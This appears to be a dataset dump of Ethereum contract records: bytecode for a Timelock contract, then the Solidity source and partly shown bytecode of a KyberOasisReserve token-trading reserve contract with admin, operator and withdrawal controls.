0x6080604052600436106100f75760003560e01c80636fc1f57e1161008a578063c1a287e211610059578063c1a287e21461068f578063e177246e146106a4578063f2b06537146106ce578063f851a440146106f8576100fe565b80636fc1f57e146106095780637d645fab14610632578063b1b43ae514610647578063b3ab15fb1461065c576100fe565b80634dd18bf5116100c65780634dd18bf51461045f578063570ca73514610492578063591fcdfe146104a75780636a42b8f8146105f4576100fe565b80630825f38f146101035780630e18b681146102b857806326782247146102cf5780633a66f90114610300576100fe565b366100fe57005b600080fd5b610243600480360360a081101561011957600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561014857600080fd5b82018360208201111561015a57600080fd5b803590602001918460018302840111600160201b8311171561017b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101cd57600080fd5b8201836020820111156101df57600080fd5b803590602001918460018302840111600160201b8311171561020057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061070d915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027d578181015183820152602001610265565b50505050905090810190601f1680156102aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102c457600080fd5b506102cd610c0d565b005b3480156102db57600080fd5b506102e4610ca9565b604080516001600160a01b039092168252519081900360200190f35b34801561030c57600080fd5b5061044d600480360360a081101561032357600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561035257600080fd5b82018360208201111561036457600080fd5b803590602001918460018302840111600160201b8311171561038557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103d757600080fd5b8201836020820111156103e957600080fd5b803590602001918460018302840111600160201b8311171561040a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610cb8915050565b60408051918252519081900360200190f35b34801561046b57600080fd5b506102cd6004803603602081101561048257600080fd5b50356001600160a01b0316610fcf565b34801561049e57600080fd5b506102e46110c4565b3480156104b357600080fd5b506102cd600480360360a08110156104ca57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104f957600080fd5b82018360208201111561050b57600080fd5b803590602001918460018302840111600160201b8311171561052c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561057e57600080fd5b82018360208201111561059057600080fd5b803590602001918460018302840111600160201b831117156105b157600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506110d3915050565b34801561060057600080fd5b5061044d611380565b34801561061557600080fd5b5061061e611386565b604080519115158252519081900360200190f35b34801561063e57600080fd5b5061044d61138f565b34801561065357600080fd5b5061044d611396565b34801561066857600080fd5b506102cd6004803603602081101561067f57600080fd5b50356001600160a01b031661139d565b34801561069b57600080fd5b5061044d61142b565b3480156106b057600080fd5b506102cd600480360360208110156106c757600080fd5b5035611432565b3480156106da57600080fd5b5061061e600480360360208110156106f157600080fd5b5035611527565b34801561070457600080fd5b506102e461153c565b6000546060906001600160a01b031633146107595760405162461bcd60e51b81526004018080602001828103825260388152602001806115b16038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156107bf5781810151838201526020016107a7565b50505050905090810190601f1680156107ec5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561081f578181015183820152602001610807565b50505050905090810190601f16801561084c5780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600590935291205490995060ff1697506108bd96505050505050505760405162461bcd60e51b815260040180806020018281038252603d815260200180611781603d913960400191505060405180910390fd5b826108c661154b565b10156109035760405162461bcd60e51b81526004018080602001828103825260458152602001806116956045913960600191505060405180910390fd5b610910836212750061154f565b61091861154b565b11156109555760405162461bcd60e51b81526004018080602001828103825260338152602001806116626033913960400191505060405180910390fd5b6000818152600560205260409020805460ff19169055845160609061097b5750836109fe565b85805190602001208560405160200180836001600160e01b031916815260040182805190602001908083835b602083106109c65780518252601f1990920191602091820191016109a7565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b60208310610a3d5780518252601f199092019160209182019101610a1e565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a9f576040519150601f19603f3d011682016040523d82523d6000602084013e610aa4565b606091505b509150915081610ae55760405162461bcd60e51b815260040180806020018281038252603d81526020018061182e603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610b62578181015183820152602001610b4a565b50505050905090810190601f168015610b8f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610bc2578181015183820152602001610baa565b50505050905090810190601f168015610bef5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610c565760405162461bcd60e51b81526004018080602001828103825260388152602001806117be6038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b0316331480610cdc57506002546001600160a01b031633145b610d175760405162461bcd60e51b81526004018080602001828103825260428152602001806116206042913960600191505060405180910390fd5b610d2b600354610d2561154b565b9061154f565b821015610d695760405162461bcd60e51b815260040180806020018281038252604981526020018061186b6049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610dcf578181015183820152602001610db7565b50505050905090810190601f168015610dfc5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610e2f578181015183820152602001610e17565b50505050905090810190601f168015610e5c5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016005600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610f27578181015183820152602001610f0f565b50505050905090810190601f168015610f545780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610f87578181015183820152602001610f6f565b50505050905090810190601f168015610fb45780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b60045460ff161561101d573330146110185760405162461bcd60e51b81526004018080602001828103825260388152602001806117f66038913960400191505060405180910390fd5b611074565b6000546001600160a01b031633146110665760405162461bcd60e51b815260040180806020018281038252603b81526020018061170e603b913960400191505060405180910390fd5b6004805460ff191660011790555b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6002546001600160a01b031681565b6000546001600160a01b0316331461111c5760405162461bcd60e51b81526004018080602001828103825260378152602001806115e96037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561118257818101518382015260200161116a565b50505050905090810190601f1680156111af5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156111e25781810151838201526020016111ca565b50505050905090810190601f16801561120f5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006005600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156112da5781810151838201526020016112c2565b50505050905090810190601f1680156113075780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561133a578181015183820152602001611322565b50505050905090810190601f1680156113675780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60035481565b60045460ff1681565b62278d0081565b6201518081565b3330146113db5760405162461bcd60e51b81526004018080602001828103825260318152602001806118b46031913960400191505060405180910390fd5b600280546001600160a01b0319166001600160a01b0383811691909117918290556040519116907fda12ee837e6978172aaf54b16145ffe08414fd8710092ef033c71b8eb6ec189a90600090a250565b6212750081565b3330146114705760405162461bcd60e51b81526004018080602001828103825260318152602001806118b46031913960400191505060405180910390fd5b620151808110156114b25760405162461bcd60e51b81526004018080602001828103825260348152602001806116da6034913960400191505060405180910390fd5b62278d008111156114f45760405162461bcd60e51b81526004018080602001828103825260388152602001806117496038913960400191505060405180910390fd5b600381905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60056020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b6000828201838110156115a9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e206f72206f70657261746f722e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2046697273742063616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea26469706673582212206d1dfbb7f10e099e1f11841be9ec9109df2bb168105f2f3d6515af66a74955b864736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,613
0xF35fF826cfD6F9Eb3Ca2Ad7A990C23C22EB1F262
pragma solidity 0.4.18; // File: contracts/ERC20Interface.sol // https://github.com/ethereum/EIPs/issues/20 interface ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } // File: contracts/KyberReserveInterface.sol /// @title Kyber Reserve contract interface KyberReserveInterface { function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool); function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint); } // File: contracts/Utils.sol /// @title Kyber constants contract contract Utils { ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); uint constant internal PRECISION = (10**18); uint constant internal MAX_QTY = (10**28); // 10B tokens uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH uint constant internal MAX_DECIMALS = 18; uint constant internal ETH_DECIMALS = 18; mapping(address=>uint) internal decimals; function setDecimals(ERC20 token) internal { if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS; else decimals[token] = token.decimals(); } function getDecimals(ERC20 token) internal view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access uint tokenDecimals = decimals[token]; // technically, there might be token with decimals 0 // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. if(tokenDecimals == 0) return token.decimals(); return tokenDecimals; } function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(srcQty <= MAX_QTY); require(rate <= MAX_RATE); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(dstQty <= MAX_QTY); require(rate <= MAX_RATE); //source quantity is rounded up. to avoid dest quantity being too low. uint numerator; uint denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; //avoid rounding down errors } } // File: contracts/PermissionGroups.sol contract PermissionGroups { address public admin; address public pendingAdmin; mapping(address=>bool) internal operators; mapping(address=>bool) internal alerters; address[] internal operatorsGroup; address[] internal alertersGroup; uint constant internal MAX_GROUP_SIZE = 50; function PermissionGroups() public { admin = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin); _; } modifier onlyOperator() { require(operators[msg.sender]); _; } modifier onlyAlerter() { require(alerters[msg.sender]); _; } function getOperators () external view returns(address[]) { return operatorsGroup; } function getAlerters () external view returns(address[]) { return alertersGroup; } event TransferAdminPending(address pendingAdmin); /** * @dev Allows the current admin to set the pendingAdmin address. * @param newAdmin The address to transfer ownership to. */ function transferAdmin(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(pendingAdmin); pendingAdmin = newAdmin; } /** * @dev Allows the current admin to set the admin in one tx. Useful initial deployment. * @param newAdmin The address to transfer ownership to. */ function transferAdminQuickly(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(newAdmin); AdminClaimed(newAdmin, admin); admin = newAdmin; } event AdminClaimed( address newAdmin, address previousAdmin); /** * @dev Allows the pendingAdmin address to finalize the change admin process. */ function claimAdmin() public { require(pendingAdmin == msg.sender); AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } event AlerterAdded (address newAlerter, bool isAdd); function addAlerter(address newAlerter) public onlyAdmin { require(!alerters[newAlerter]); // prevent duplicates. require(alertersGroup.length < MAX_GROUP_SIZE); AlerterAdded(newAlerter, true); alerters[newAlerter] = true; alertersGroup.push(newAlerter); } function removeAlerter (address alerter) public onlyAdmin { require(alerters[alerter]); alerters[alerter] = false; for (uint i = 0; i < alertersGroup.length; ++i) { if (alertersGroup[i] == alerter) { alertersGroup[i] = alertersGroup[alertersGroup.length - 1]; alertersGroup.length--; AlerterAdded(alerter, false); break; } } } event OperatorAdded(address newOperator, bool isAdd); function addOperator(address newOperator) public onlyAdmin { require(!operators[newOperator]); // prevent duplicates. require(operatorsGroup.length < MAX_GROUP_SIZE); OperatorAdded(newOperator, true); operators[newOperator] = true; operatorsGroup.push(newOperator); } function removeOperator (address operator) public onlyAdmin { require(operators[operator]); operators[operator] = false; for (uint i = 0; i < operatorsGroup.length; ++i) { if (operatorsGroup[i] == operator) { operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1]; operatorsGroup.length -= 1; OperatorAdded(operator, false); break; } } } } // File: contracts/Withdrawable.sol /** * @title Contracts that should be able to recover tokens or ethers * @author Ilan Doron * @dev This allows to recover any tokens or Ethers received in a contract. * This will prevent any accidental loss of tokens. */ contract Withdrawable is PermissionGroups { event TokenWithdraw(ERC20 token, uint amount, address sendTo); /** * @dev Withdraw all ERC20 compatible tokens * @param token ERC20 The address of the token contract */ function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin { require(token.transfer(sendTo, amount)); TokenWithdraw(token, amount, sendTo); } event EtherWithdraw(uint amount, address sendTo); /** * @dev Withdraw Ethers */ function withdrawEther(uint amount, address sendTo) external onlyAdmin { sendTo.transfer(amount); EtherWithdraw(amount, sendTo); } } // File: contracts/KyberOasisReserve.sol contract OtcInterface { function getBuyAmount(address, address, uint) public constant returns (uint); } contract OasisDirectInterface { function sellAllAmountPayEth(OtcInterface, ERC20, ERC20, uint)public payable returns (uint); function sellAllAmountBuyEth(OtcInterface, ERC20, uint, ERC20, uint) public returns (uint); } contract KyberOasisReserve is KyberReserveInterface, Withdrawable, Utils { address public kyberNetwork; OasisDirectInterface public oasisDirect; OtcInterface public otc; ERC20 public wethToken; ERC20 public tradeToken; bool public tradeEnabled; uint public feeBps; function KyberOasisReserve( address _kyberNetwork, OasisDirectInterface _oasisDirect, OtcInterface _otc, ERC20 _wethToken, ERC20 _tradeToken, address _admin, uint _feeBps ) public { require(_admin != address(0)); require(_oasisDirect != address(0)); require(_kyberNetwork != address(0)); require(_otc != address(0)); require(_wethToken != address(0)); require(_tradeToken != address(0)); require(_feeBps < 10000); kyberNetwork = _kyberNetwork; oasisDirect = _oasisDirect; otc = _otc; wethToken = _wethToken; tradeToken = _tradeToken; admin = _admin; feeBps = _feeBps; tradeEnabled = true; } function() public payable { DepositToken(ETH_TOKEN_ADDRESS, msg.value); } event TradeExecute( address indexed origin, address src, uint srcAmount, address destToken, uint destAmount, address destAddress ); function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool) { require(tradeEnabled); require(msg.sender == kyberNetwork); require(doTrade(srcToken, srcAmount, destToken, destAddress, conversionRate, validate)); return true; } event TradeEnabled(bool enable); function enableTrade() public onlyAdmin returns(bool) { tradeEnabled = true; TradeEnabled(true); return true; } function disableTrade() public onlyAlerter returns(bool) { tradeEnabled = false; TradeEnabled(false); return true; } event ReserveParamsSet( address kyberNetwork, OasisDirectInterface oasisDirect, OtcInterface otc, ERC20 wethToken, ERC20 tradeToken, uint feeBps ); function setReserveParams( address _kyberNetwork, OasisDirectInterface _oasisDirect, OtcInterface _otc, ERC20 _wethToken, ERC20 _tradeToken, uint _feeBps ) public onlyAdmin { require(_kyberNetwork != address(0)); require(_oasisDirect != address(0)); require(_otc != address(0)); require(_wethToken != address(0)); require(_tradeToken != address(0)); require(_feeBps < 10000); kyberNetwork = _kyberNetwork; oasisDirect = _oasisDirect; otc = _otc; wethToken = _wethToken; tradeToken = _tradeToken; feeBps = _feeBps; ReserveParamsSet(kyberNetwork, oasisDirect, otc, wethToken, tradeToken, feeBps); } function getDestQty(ERC20 src, ERC20 dest, uint srcQty, uint rate) public view returns(uint) { uint dstDecimals = getDecimals(dest); uint srcDecimals = getDecimals(src); return calcDstQty(srcQty, srcDecimals, dstDecimals, rate); } function valueAfterReducingFee(uint val) public view returns(uint) { require(val <= MAX_QTY); return ((10000 - feeBps) * val) / 10000; } function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) { uint rate; uint destQty; ERC20 wrappedSrc; ERC20 wrappedDest; uint actualSrcQty; uint actualDestQty; bool sellEth; blockNumber; if (!tradeEnabled) return 0; if ((tradeToken != src) && (tradeToken != dest)) return 0; sellEth = (src == ETH_TOKEN_ADDRESS); if (sellEth) { wrappedSrc = wethToken; wrappedDest = dest; actualSrcQty = valueAfterReducingFee(srcQty); } else if (dest == ETH_TOKEN_ADDRESS) { wrappedSrc = src; wrappedDest = wethToken; actualSrcQty = srcQty; } else { return 0; } destQty = otc.getBuyAmount(wrappedDest, wrappedSrc, actualSrcQty); if (sellEth) { actualDestQty = destQty; } else { actualDestQty = valueAfterReducingFee(destQty); } require(actualDestQty < MAX_QTY); rate = actualDestQty * PRECISION / srcQty; return rate; } function doTrade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) internal returns(bool) { uint actualDestAmount; require((ETH_TOKEN_ADDRESS == srcToken) || (ETH_TOKEN_ADDRESS == destToken)); require((tradeToken == srcToken) || (tradeToken == destToken)); // can skip validation if done at kyber network level if (validate) { require(conversionRate > 0); if (srcToken == ETH_TOKEN_ADDRESS) require(msg.value == srcAmount); else require(msg.value == 0); } uint destAmount = getDestQty(srcToken, destToken, srcAmount, conversionRate); // sanity check require(destAmount > 0); if (srcToken == ETH_TOKEN_ADDRESS) { actualDestAmount = oasisDirect.sellAllAmountPayEth.value(msg.value)(otc, wethToken, destToken, destAmount); require(actualDestAmount >= destAmount); // transfer back only requested dest amount. require(destToken.transfer(destAddress, destAmount)); } else { require(srcToken.transferFrom(msg.sender, this, srcAmount)); if (srcToken.allowance(this, oasisDirect) < srcAmount) { srcToken.approve(oasisDirect, uint(-1)); } actualDestAmount = oasisDirect.sellAllAmountBuyEth(otc, srcToken, srcAmount, wethToken, destAmount); require(actualDestAmount >= destAmount); // transfer back only requested dest amount. destAddress.transfer(destAmount); } TradeExecute(msg.sender, srcToken, srcAmount, destToken, destAmount, destAddress); return true; } event DepositToken(ERC20 token, uint amount); }
0x6060604052600436106101445763ffffffff60e060020a60003504166299d386811461019e57806301a12fd3146101c55780630d9f5faa146101e657806324a9d85314610215578063267822471461023a57806327a099d81461024d57806336b61e3c146102b35780633ccdbb28146102c6578063408ee7fe146102ef5780634b57b0be1461030e578063502b7a4a146103215780636940030f1461035b5780636cf698111461036e5780636f3d80431461039a57806375829def146103b057806377f50f97146103cf5780637acc8678146103e25780637c423f54146104015780637cd44272146104145780639870d7fe1461043f578063ac8a584a1461045e578063b78b842d1461047d578063ce56c45414610490578063d621e813146104b2578063d83678ac146104c5578063f851a440146104d8578063fa64dffa146104eb575b7f2d0c0a8842b9944ece1495eb61121621b5e36bd6af3bba0318c695f525aef79f73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee34604051600160a060020a03909216825260208201526040908101905180910390a1005b34156101a957600080fd5b6101b1610516565b604051901515815260200160405180910390f35b34156101d057600080fd5b6101e4600160a060020a03600435166105a4565b005b34156101f157600080fd5b6101f9610714565b604051600160a060020a03909116815260200160405180910390f35b341561022057600080fd5b610228610723565b60405190815260200160405180910390f35b341561024557600080fd5b6101f9610729565b341561025857600080fd5b610260610738565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561029f578082015183820152602001610287565b505050509050019250505060405180910390f35b34156102be57600080fd5b6101f96107a0565b34156102d157600080fd5b6101e4600160a060020a0360043581169060243590604435166107af565b34156102fa57600080fd5b6101e4600160a060020a03600435166108a6565b341561031957600080fd5b6101f96109a2565b341561032c57600080fd5b6101e4600160a060020a036004358116906024358116906044358116906064358116906084351660a4356109b1565b341561036657600080fd5b6101b1610b22565b6101b1600160a060020a03600435811690602435906044358116906064351660843560a4351515610ba3565b34156103a557600080fd5b610228600435610c10565b34156103bb57600080fd5b6101e4600160a060020a0360043516610c3d565b34156103da57600080fd5b6101e4610cd8565b34156103ed57600080fd5b6101e4600160a060020a0360043516610d72565b341561040c57600080fd5b610260610e54565b341561041f57600080fd5b610228600160a060020a0360043581169060243516604435606435610eba565b341561044a57600080fd5b6101e4600160a060020a0360043516611093565b341561046957600080fd5b6101e4600160a060020a0360043516611163565b341561048857600080fd5b6101f96112cf565b341561049b57600080fd5b6101e4600435600160a060020a03602435166112de565b34156104bd57600080fd5b6101b1611371565b34156104d057600080fd5b6101f9611392565b34156104e357600080fd5b6101f96113a1565b34156104f657600080fd5b610228600160a060020a03600435811690602435166044356064356113b0565b6000805433600160a060020a0390811691161461053257600080fd5b600b805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356001604051901515815260200160405180910390a15060015b90565b6000805433600160a060020a039081169116146105c057600080fd5b600160a060020a03821660009081526003602052604090205460ff1615156105e757600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b6005548110156107105781600160a060020a031660058281548110151561062c57fe5b600091825260209091200154600160a060020a031614156107085760058054600019810190811061065957fe5b60009182526020909120015460058054600160a060020a03909216918390811061067f57fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560058054906106bb906000198301611a8b565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a1610710565b600101610609565b5050565b600854600160a060020a031681565b600c5481565b600154600160a060020a031681565b610740611ab4565b600480548060200260200160405190810160405280929190818152602001828054801561079657602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610778575b5050505050905090565b600954600160a060020a031681565b60005433600160a060020a039081169116146107ca57600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561082757600080fd5b6102c65a03f1151561083857600080fd5b50505060405180519050151561084d57600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a039081169116146108c157600080fd5b600160a060020a03811660009081526003602052604090205460ff16156108e757600080fd5b600554603290106108f757600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff1916600190811790915560058054909181016109768382611a8b565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b600a54600160a060020a031681565b60005433600160a060020a039081169116146109cc57600080fd5b600160a060020a03861615156109e157600080fd5b600160a060020a03851615156109f657600080fd5b600160a060020a0384161515610a0b57600080fd5b600160a060020a0383161515610a2057600080fd5b600160a060020a0382161515610a3557600080fd5b6127108110610a4357600080fd5b60078054600160a060020a0319908116600160a060020a03898116919091179283905560088054831689831617908190556009805484168984161790819055600a805485168985161790819055600b80549095168885161794859055600c8790557f0554b78483cebc94413660c1280b49fd7375a97f5dfeb070ea0ce53381e13ae2958416949284169391821692908216911686604051600160a060020a03968716815294861660208601529285166040808601919091529185166060850152909316608083015260a082015260c001905180910390a1505050505050565b600160a060020a03331660009081526003602052604081205460ff161515610b4957600080fd5b600b805474ff0000000000000000000000000000000000000000191690557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356000604051901515815260200160405180910390a150600190565b600b5460009074010000000000000000000000000000000000000000900460ff161515610bcf57600080fd5b60075433600160a060020a03908116911614610bea57600080fd5b610bf88787878787876113e2565b1515610c0357600080fd5b5060019695505050505050565b60006b204fce5e3e25026110000000821115610c2b57600080fd5b600c5461271090810383020492915050565b60005433600160a060020a03908116911614610c5857600080fd5b600160a060020a0381161515610c6d57600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a03908116911614610cf357600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a03908116911614610d8d57600080fd5b600160a060020a0381161515610da257600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b610e5c611ab4565b600580548060200260200160405190810160405280929190818152602001828054801561079657602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610778575050505050905090565b600080600080600080600080600b60149054906101000a900460ff161515610ee55760009750611084565b600b54600160a060020a038d8116911614801590610f115750600b54600160a060020a038c8116911614155b15610f1f5760009750611084565b50600160a060020a038b1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee148015610f6757600a54600160a060020a031694508a9350610f608a610c10565b9250610fae565b600160a060020a038b1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610fa557600a548c9550600160a060020a03169350899250610fae565b60009750611084565b600954600160a060020a031663144a275285878660006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561101a57600080fd5b6102c65a03f1151561102b57600080fd5b5050506040518051965050801561104457859150611050565b61104d86610c10565b91505b6b204fce5e3e25026110000000821061106857600080fd5b89670de0b6b3a7640000830281151561107d57fe5b0496508697505b50505050505050949350505050565b60005433600160a060020a039081169116146110ae57600080fd5b600160a060020a03811660009081526002602052604090205460ff16156110d457600080fd5b600454603290106110e457600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff1916600190811790915560048054909181016109768382611a8b